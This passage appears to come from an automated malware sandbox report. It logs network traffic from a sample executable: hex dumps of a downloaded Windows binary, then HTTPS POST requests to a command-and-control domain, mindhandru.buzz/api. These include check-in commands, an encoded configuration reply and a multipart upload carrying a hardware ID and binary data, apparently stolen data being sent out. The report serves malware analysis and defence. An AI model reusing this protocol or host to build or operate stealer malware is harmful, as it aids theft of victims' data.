20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +s+`Ui`D @ @ @.rsrcD``@.idata f@ricsrhqo)h@otxjrfec T@.taggant@"Z*@
Dec 27, 2024 09:13:04.448987007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:13:04.449004889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:13:04.449129105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:13:04.449143887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:13:04.449158907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:13:04.449187040 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:13:04.449213982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:13:04.449327946 CET	1236	IN	Data Raw: 70 59 c6 71 76 57 1d 08 73 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 c6 71 76 57 1d c4 72 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 a6 72 76 57 1d 40 71 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 a6 72 76 57 1d da 71 07 1b 21 ad 02 8b 1f 4e f6 8a 6f 70 59 Data Ascii: pYqvWs!-NopYqvWr!-NopYrvW@q!-NopYrvWq!NopYrvWq!NopYrvWq!NopUeovFwovovovyovyovovouWUyLI<94pvovovU_]f-\_cRovtvkov{ov(ovovov(<#$n)#ovGov/ov(>Bvou
Dec 27, 2024 09:13:04.449345112 CET	1236	IN	Data Raw: 76 07 8b 6f 76 87 8b 00 57 ca 8f 3d 75 0c 8b 6f 76 07 8b ef 76 76 6b 04 73 35 8a 82 76 07 8b 6f 76 87 8b 00 57 22 83 0f 75 f4 8a 17 56 07 8b 6f 76 76 8b b4 71 59 8a 52 76 8f 6b 6f 76 07 8b 00 77 97 8f 21 75 28 8b 8f 56 07 8b 6f 76 76 8b 93 6e 59 Data Ascii: vovW=uovvvks5vovW"uVovvqYRvkovw!u(VovvnYRv3jovwS!u(Uovv,rURvmovw*u#TovvmYVvcoov~uv$oVovpv,ovlrv(ovlqpvovjrqvXovMqqvqov,lpv@ov3qrvjoV
Dec 27, 2024 09:13:04.568965912 CET	1236	IN	Data Raw: 76 07 8b 6f 76 07 2a 13 20 66 1b 18 63 19 8b 3c 0d 68 1d 1e 23 6c 31 23 48 34 22 1d 63 19 8b 6b 29 6c 2f 24 0a 62 59 6f 27 57 2e 1d 43 62 1d 25 0d 68 2e 30 76 33 48 3a 31 4d 38 41 31 46 4f 6f 43 33 4a 3d 32 46 3d 33 37 39 42 36 2e 33 3c 4e 44 42 Data Ascii: vov* fc<h#l1#H4"ck)l/$bYo'W.Cb%h.0v3H:1M8A1FOoC3J=2F=379B6.3<NDBJ3vMNC4NI35COoCB=E-HNN2N<04KN3v8?0(CJA2<=8/O?B79N@AN=42<27JJ=5DNA7H=453NNCB=E-HNoCH8<5MJ61984(2F4DF?478NA@NL4vOJA24JA17=>0NG43OJ=/B?59J<3OJ=/BB18<8'ML75MP4v8N

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:12:41 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 08:12:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 08:12:42 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:12:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sr1hcisigc0c7gmgtkqdljppdd; expires=Tue, 22 Apr 2025 01:59:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FrGMD2X7g56BqlKtnk%2FXvjupEsI4EMl363Q41g9iKeM9FCCkvoE0b6Jym64y0bn8E0YqvBG1HLGa%2BgI1M8pb4aGoF5sdGz7NgiZgHNBgnHBtoadPB%2FDbPszFgvwxML4eZP4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d8d899aa42ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1800&rtt_var=900&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4216&recv_bytes=906&delivery_rate=44979&cwnd=215&unsent_bytes=0&cid=5c089b8d7c4c7792&ts=840&x=0"
2024-12-27 08:12:42 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 08:12:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:12:43 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 08:12:43 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 08:12:44 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:12:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=urbvil4niu1nvv1g455dtv5pc1; expires=Tue, 22 Apr 2025 01:59:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fl4it3n9ojJA5FeGK5xhauinPBI20ol42zaO93M%2B4poF0pnwE8pXh5ffWq809ROLBVTT9S1n%2F82JHuSc1XJRdjdfmCAJKESKLaxznGJS1jUqG3ouCyUqIPfapxc9DynrOvU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d8e50eec0f60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1629&rtt_var=623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1740166&cwnd=211&unsent_bytes=0&cid=040457308526648e&ts=774&x=0"
2024-12-27 08:12:44 UTC	248	IN	Data Raw: 63 35 35 0d 0a 44 57 53 69 51 38 63 57 31 31 69 4e 6e 42 2b 4f 47 70 52 69 69 34 77 5a 59 39 52 45 4b 36 46 42 57 48 67 7a 37 6c 67 6f 31 5a 31 32 52 74 52 68 2f 53 4c 37 65 76 37 35 50 62 52 75 35 68 66 75 6f 44 73 43 73 47 59 52 78 79 41 30 43 31 62 43 65 6c 36 34 76 7a 63 43 77 79 2b 30 63 2f 74 36 36 4f 51 39 74 45 48 76 51 4f 37 69 4f 31 6e 32 49 55 48 44 49 44 51 61 55 6f 55 33 57 4c 6e 2b 5a 51 6a 46 4b 36 4a 31 73 7a 6e 68 38 58 72 72 66 2f 55 49 35 65 56 30 43 37 6c 6d 42 34 4d 6b 49 6c 6f 4a 7a 42 56 4e 6f 66 78 41 42 64 45 6f 35 57 76 37 49 36 2f 35 63 61 77 67 74 67 50 75 37 6e 55 46 73 43 39 44 79 53 6b 38 47 31 65 45 4b 45 47 7a 39 57 55 47 78 69 71 6f 66 4b 63 30 36 2f 5a 78 37 58 58 31 51 4b 65 75 66 42 6e 32 66 67 6d Data Ascii: c55DWSiQ8cW11iNnB+OGpRii4wZY9REK6FBWHgz7lgo1Z12RtRh/SL7ev75PbRu5hfuoDsCsGYRxyA0C1bCel64vzcCwy+0c/t66OQ9tEHvQO7iO1n2IUHDIDQaUoU3WLn+ZQjFK6J1sznh8Xrrf/UI5eV0C7lmB4MkIloJzBVNofxABdEo5Wv7I6/5cawgtgPu7nUFsC9DySk8G1eEKEGz9WUGxiqofKc06/Zx7XX1QKeufBn2fgm
2024-12-27 08:12:44 UTC	1369	IN	Data Raw: 51 45 54 6b 4c 51 4a 6b 33 57 72 47 2f 63 45 6a 5a 59 61 4a 34 39 57 4b 76 39 6e 48 69 66 66 55 50 37 75 39 37 45 37 6b 6d 53 73 73 72 50 68 42 65 67 7a 56 45 76 66 68 6e 44 38 63 75 6f 6e 79 7a 4e 65 79 2b 4d 36 78 2f 37 6b 43 78 72 6c 73 52 74 53 56 64 7a 6a 4a 36 42 52 2b 56 65 6b 32 37 76 7a 64 47 78 69 2b 6b 65 62 55 6f 35 2f 56 32 36 57 72 39 43 65 54 6a 65 77 79 38 4b 55 72 44 4a 44 41 51 58 6f 59 2b 52 37 72 35 62 77 61 41 62 2b 56 7a 72 58 71 33 76 6c 37 70 61 50 45 4d 2f 36 78 42 51 61 6c 6f 55 49 4d 6b 4e 6c 6f 4a 7a 44 4a 50 74 50 78 6b 43 63 4d 70 72 6d 61 31 4b 4f 6e 7a 65 50 35 2b 38 77 37 6a 37 57 6b 4c 75 43 42 4b 79 69 67 7a 48 31 61 49 65 67 54 33 2b 48 64 47 6d 47 47 45 65 62 34 32 35 65 6c 39 72 47 65 34 47 61 6e 70 64 30 48 75 5a 6b Data Ascii: QETkLQJk3WrG/cEjZYaJ49WKv9nHiffUP7u97E7kmSssrPhBegzVEvfhnD8cuonyzNey+M6x/7kCxrlsRtSVdzjJ6BR+Vek27vzdGxi+kebUo5/V26Wr9CeTjewy8KUrDJDAQXoY+R7r5bwaAb+VzrXq3vl7paPEM/6xBQaloUIMkNloJzDJPtPxkCcMprma1KOnzeP5+8w7j7WkLuCBKyigzH1aIegT3+HdGmGGEeb425el9rGe4Ganpd0HuZk
2024-12-27 08:12:44 UTC	1369	IN	Data Raw: 56 42 47 4c 49 67 72 76 76 30 55 46 31 43 4b 76 4e 6f 41 35 34 66 42 36 2b 6a 6a 70 54 76 43 75 66 41 33 32 66 67 6e 4f 49 6a 49 63 51 34 4d 33 53 62 6e 78 59 41 50 50 4b 61 56 30 75 44 2f 72 39 58 62 76 64 66 49 53 34 2b 35 7a 42 4c 63 73 51 34 4e 74 65 68 31 4a 7a 47 49 4b 68 75 68 6b 52 50 55 69 71 33 71 79 4c 4b 2f 68 4d 2f 55 34 38 51 79 70 74 6a 73 4d 76 69 4e 4d 7a 43 49 77 46 46 53 47 4e 6b 4b 35 2f 48 30 4a 78 43 47 70 66 4c 38 33 34 66 70 31 35 58 50 39 42 75 6e 76 63 55 48 34 5a 6b 37 62 59 32 4a 61 5a 59 73 32 52 37 69 39 57 67 58 4f 4c 36 4a 69 39 53 57 68 35 7a 33 72 64 4c 5a 59 71 65 4a 79 41 62 30 73 54 63 4d 6b 4e 78 39 53 69 7a 6c 48 73 50 56 68 41 63 51 74 72 48 6d 7a 4f 75 6a 36 65 50 35 39 2f 77 7a 6c 72 6a 56 42 73 54 34 4a 6d 32 4d Data Ascii: VBGLIgrvv0UF1CKvNoA54fB6+jjpTvCufA32fgnOIjIcQ4M3SbnxYAPPKaV0uD/r9XbvdfIS4+5zBLcsQ4Nteh1JzGIKhuhkRPUiq3qyLK/hM/U48QyptjsMviNMzCIwFFSGNkK5/H0JxCGpfL834fp15XP9BunvcUH4Zk7bY2JaZYs2R7i9WgXOL6Ji9SWh5z3rdLZYqeJyAb0sTcMkNx9SizlHsPVhAcQtrHmzOuj6eP59/wzlrjVBsT4Jm2M
2024-12-27 08:12:44 UTC	178	IN	Data Raw: 47 49 4b 76 76 5a 39 43 4d 34 6f 71 48 4b 39 50 65 48 7a 64 75 70 7a 38 51 66 76 34 33 4d 4d 73 79 56 49 78 79 6b 6f 47 56 71 47 4e 30 44 33 73 53 38 42 32 47 48 39 4e 4a 49 32 78 75 35 6d 2f 6d 36 32 48 36 66 33 4f 77 61 36 5a 68 47 44 49 44 55 54 58 6f 51 79 52 62 6a 37 59 51 44 47 4c 4b 42 37 76 79 6a 6e 38 48 44 6e 64 2f 30 53 36 65 4e 2f 44 62 49 75 51 73 6c 6a 64 46 70 57 6c 48 6f 53 39 38 70 69 43 63 41 69 73 7a 53 71 64 50 61 2b 65 75 41 34 72 6b 44 6c 34 48 73 4f 75 69 70 43 79 79 49 32 46 46 61 4a 4d 30 4b 2f 37 0d 0a Data Ascii: GIKvvZ9CM4oqHK9PeHzdupz8Qfv43MMsyVIxykoGVqGN0D3sS8B2GH9NJI2xu5m/m62H6f3Owa6ZhGDIDUTXoQyRbj7YQDGLKB7vyjn8HDnd/0S6eN/DbIuQsljdFpWlHoS98piCcAiszSqdPa+euA4rkDl4HsOuipCyyI2FFaJM0K/7
2024-12-27 08:12:44 UTC	1369	IN	Data Raw: 33 63 63 37 0d 0a 57 34 43 79 43 43 72 65 37 51 2b 36 76 74 35 36 33 7a 77 44 36 6d 67 4f 77 61 75 5a 68 47 44 44 42 30 76 45 36 30 41 43 71 69 78 64 6b 62 48 4c 65 55 73 39 54 62 73 38 6e 58 6a 66 76 38 4d 34 2b 64 77 44 62 30 69 52 63 6f 6d 50 42 74 55 69 54 74 4f 75 2f 56 70 42 63 4d 75 71 6e 75 39 65 71 47 2b 65 76 51 34 72 6b 44 4d 2b 58 41 50 73 47 5a 57 6a 54 70 36 48 56 33 4d 59 67 71 37 39 6d 6b 41 78 53 32 6b 63 72 30 2f 35 2f 70 38 36 6e 37 31 44 2b 33 72 65 67 36 79 4b 6b 66 4a 49 6a 73 57 57 6f 4d 78 54 2f 65 78 4c 77 48 59 59 66 30 30 68 44 6e 35 36 57 33 67 4f 4f 6c 4f 38 4b 35 38 44 66 5a 2b 43 63 49 78 4d 42 42 66 69 54 56 50 74 50 42 6f 43 38 59 74 72 33 32 39 50 4f 44 33 62 2b 39 30 2b 41 66 6e 34 6e 55 4d 76 43 56 45 67 32 31 36 48 55 Data Ascii: 3cc7W4CyCCre7Q+6vt563zwD6mgOwauZhGDDB0vE60ACqixdkbHLeUs9Tbs8nXjfv8M4+dwDb0iRcomPBtUiTtOu/VpBcMuqnu9eqG+evQ4rkDM+XAPsGZWjTp6HV3MYgq79mkAxS2kcr0/5/p86n71D+3reg6yKkfJIjsWWoMxT/exLwHYYf00hDn56W3gOOlO8K58DfZ+CcIxMBBfiTVPtPBoC8Ytr329POD3b+90+Afn4nUMvCVEg216HU
2024-12-27 08:12:44 UTC	1369	IN	Data Raw: 76 2f 52 67 41 4e 49 74 71 32 61 77 4b 50 32 2b 4d 36 78 2f 37 6b 43 78 72 6b 30 47 70 6a 5a 4b 67 52 49 73 47 55 65 48 4e 30 62 33 34 43 45 66 67 43 61 70 4e 4f 31 36 36 66 46 30 37 33 66 33 43 65 58 6a 66 67 69 7a 4a 30 2f 48 4b 54 41 61 56 34 6f 37 54 37 33 38 62 67 7a 4a 4a 71 31 7a 74 69 69 76 73 44 33 72 59 4c 5a 59 71 63 64 38 45 37 67 32 43 64 78 74 49 31 70 57 67 48 6f 53 39 2f 74 6c 43 63 51 6d 71 58 4b 77 50 4f 4c 2f 63 75 31 34 2b 51 54 69 35 33 30 41 75 79 4e 45 78 7a 45 77 45 56 36 41 4d 30 61 36 76 79 46 47 78 7a 6e 6c 4c 50 55 4c 34 76 42 7a 36 32 36 32 48 36 66 33 4f 77 61 36 5a 68 47 44 49 6a 59 56 55 6f 4d 35 53 62 62 31 66 52 54 4d 4b 4b 31 78 75 54 48 68 2b 47 2f 71 64 2f 38 44 36 75 64 38 43 62 6f 73 53 73 52 6a 64 46 70 57 6c 48 6f Data Ascii: v/RgANItq2awKP2+M6x/7kCxrk0GpjZKgRIsGUeHN0b34CEfgCapNO166fF073f3CeXjfgizJ0/HKTAaV4o7T738bgzJJq1ztiivsD3rYLZYqcd8E7g2CdxtI1pWgHoS9/tlCcQmqXKwPOL/cu14+QTi530AuyNExzEwEV6AM0a6vyFGxznlLPUL4vBz6262H6f3Owa6ZhGDIjYVUoM5Sbb1fRTMKK1xuTHh+G/qd/8D6ud8CbosSsRjdFpWlHo
2024-12-27 08:12:44 UTC	1369	IN	Data Raw: 52 2b 41 4a 71 6b 30 37 58 72 70 39 33 76 72 66 76 67 53 37 4f 68 30 44 72 38 76 54 63 73 67 4f 68 35 56 69 7a 39 4a 75 2f 52 6f 42 63 38 6c 72 48 71 38 4e 61 2b 77 50 65 74 67 74 6c 69 70 7a 32 41 43 75 69 73 4a 33 47 30 6a 57 6c 61 41 65 68 4c 33 38 32 45 44 77 43 75 6a 63 4c 41 38 35 66 74 39 35 33 76 35 42 4f 2f 71 64 41 47 39 4c 30 6a 46 4a 6a 41 52 56 34 45 35 54 4c 47 2f 49 55 62 48 4f 65 55 73 39 52 72 30 38 33 48 72 4f 4f 6c 4f 38 4b 35 38 44 66 5a 2b 43 63 67 76 50 68 31 52 67 54 6c 43 73 76 74 6c 41 38 41 70 74 33 79 31 50 66 33 73 66 65 56 39 2b 67 50 70 36 6e 30 49 73 43 56 4e 67 32 31 36 48 55 6e 4d 59 67 71 61 38 32 67 76 78 7a 72 6c 61 2f 73 6a 72 2f 6c 78 72 43 43 32 41 65 4c 6b 64 41 79 31 49 45 72 49 4a 6a 41 62 56 6f 51 33 57 4c 54 77 Data Ascii: R+AJqk07Xrp93vrfvgS7Oh0Dr8vTcsgOh5Viz9Ju/RoBc8lrHq8Na+wPetgtlipz2ACuisJ3G0jWlaAehL382EDwCujcLA85ft953v5BO/qdAG9L0jFJjARV4E5TLG/IUbHOeUs9Rr083HrOOlO8K58DfZ+CcgvPh1RgTlCsvtlA8Apt3y1Pf3sfeV9+gPp6n0IsCVNg216HUnMYgqa82gvxzrla/sjr/lxrCC2AeLkdAy1IErIJjAbVoQ3WLTw
2024-12-27 08:12:44 UTC	1369	IN	Data Raw: 50 6c 4c 50 56 39 37 4f 78 76 36 6e 76 67 41 36 37 51 52 53 61 67 4c 45 37 54 4a 43 30 56 45 63 4a 36 52 66 65 6e 56 6b 62 4a 4a 72 35 6c 6f 7a 66 2f 2b 54 33 54 4e 72 59 59 71 62 59 37 4e 4c 55 6f 52 38 51 31 4b 31 64 32 6d 6a 42 4e 70 2f 68 34 43 59 42 76 35 58 4c 31 59 72 79 77 50 65 68 70 74 6c 69 35 76 43 42 55 35 58 45 5a 6b 54 78 30 41 78 47 61 65 68 4c 6c 73 53 38 55 67 48 6e 6c 4d 37 59 6f 2f 66 68 2b 2b 6e 75 78 50 74 66 4a 59 51 79 77 4d 56 6a 39 48 54 30 41 58 49 6f 74 57 2f 76 71 62 41 6a 4f 4a 72 4d 30 2b 33 72 67 76 69 58 56 4f 4c 35 41 31 71 41 37 47 66 5a 2b 43 66 59 67 4e 42 52 57 6d 69 73 48 6b 4f 56 69 41 4e 63 77 35 54 72 31 50 4b 2b 6d 4c 61 49 34 38 68 47 70 74 69 74 54 37 58 4d 61 6c 48 4e 6f 42 52 2b 56 65 6c 7a 33 70 7a 31 49 67 Data Ascii: PlLPV97Oxv6nvgA67QRSagLE7TJC0VEcJ6RfenVkbJJr5lozf/+T3TNrYYqbY7NLUoR8Q1K1d2mjBNp/h4CYBv5XL1YrywPehptli5vCBU5XEZkTx0AxGaehLlsS8UgHnlM7Yo/fh++nuxPtfJYQywMVj9HT0AXIotW/vqbAjOJrM0+3rgviXVOL5A1qA7GfZ+CfYgNBRWmisHkOViANcw5Tr1PK+mLaI48hGptitT7XMalHNoBR+Velz3pz1Ig
2024-12-27 08:12:44 UTC	1369	IN	Data Raw: 31 4e 61 2b 6d 52 4b 77 77 74 6a 2b 6e 72 6d 4e 42 37 6d 5a 38 77 43 30 30 48 55 65 64 64 32 32 35 2b 47 34 51 30 44 61 71 4e 50 74 36 36 62 34 6c 76 6a 61 32 42 50 69 75 49 31 48 6b 66 52 79 51 64 47 70 49 54 73 49 6a 43 71 47 2f 4e 31 53 4f 59 62 63 30 37 58 71 6f 2f 57 2f 2b 66 76 55 57 36 71 6c 46 50 35 45 6f 54 73 49 31 4b 67 31 65 77 78 52 38 6c 73 46 52 45 38 4d 76 71 33 4f 6a 4b 36 2b 77 50 65 4d 34 72 6a 6d 70 70 6a 73 2b 2b 47 5a 52 67 33 74 36 4c 31 4b 43 4e 45 32 68 37 69 49 68 7a 69 61 6b 59 71 55 74 34 4c 46 54 32 6c 6d 32 54 71 6e 6f 4f 31 6e 6b 61 41 6e 48 4d 6e 70 43 41 64 35 68 48 2b 53 6f 50 31 54 66 62 37 77 30 6f 33 71 33 72 44 4f 73 61 72 5a 59 71 61 6c 34 45 36 51 67 53 74 55 67 66 53 52 76 71 7a 52 4e 74 75 6c 2f 43 38 77 41 70 6d Data Ascii: 1Na+mRKwwtj+nrmNB7mZ8wC00HUedd225+G4Q0DaqNPt66b4lvja2BPiuI1HkfRyQdGpITsIjCqG/N1SOYbc07Xqo/W/+fvUW6qlFP5EoTsI1Kg1ewxR8lsFRE8Mvq3OjK6+wPeM4rjmppjs++GZRg3t6L1KCNE2h7iIhziakYqUt4LFT2lm2TqnoO1nkaAnHMnpCAd5hH+SoP1Tfb7w0o3q3rDOsarZYqal4E6QgStUgfSRvqzRNtul/C8wApm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:12:45 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UIY8QAUMZ7IHTNYII09 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18175 Host: mindhandru.buzz
2024-12-27 08:12:45 UTC	15331	OUT	Data Raw: 2d 2d 55 49 59 38 51 41 55 4d 5a 37 49 48 54 4e 59 49 49 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 30 45 45 37 46 42 37 42 45 38 31 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 55 49 59 38 51 41 55 4d 5a 37 49 48 54 4e 59 49 49 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 49 59 38 51 41 55 4d 5a 37 49 48 54 4e 59 49 49 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --UIY8QAUMZ7IHTNYII09Content-Disposition: form-data; name="hwid"A310EE7FB7BE8136BEBA0C6A975F1733--UIY8QAUMZ7IHTNYII09Content-Disposition: form-data; name="pid"2--UIY8QAUMZ7IHTNYII09Content-Disposition: form-data; name="lid"LOGS11--Li
2024-12-27 08:12:45 UTC	2844	OUT	Data Raw: d2 6d b6 ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef Data Ascii: me,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)
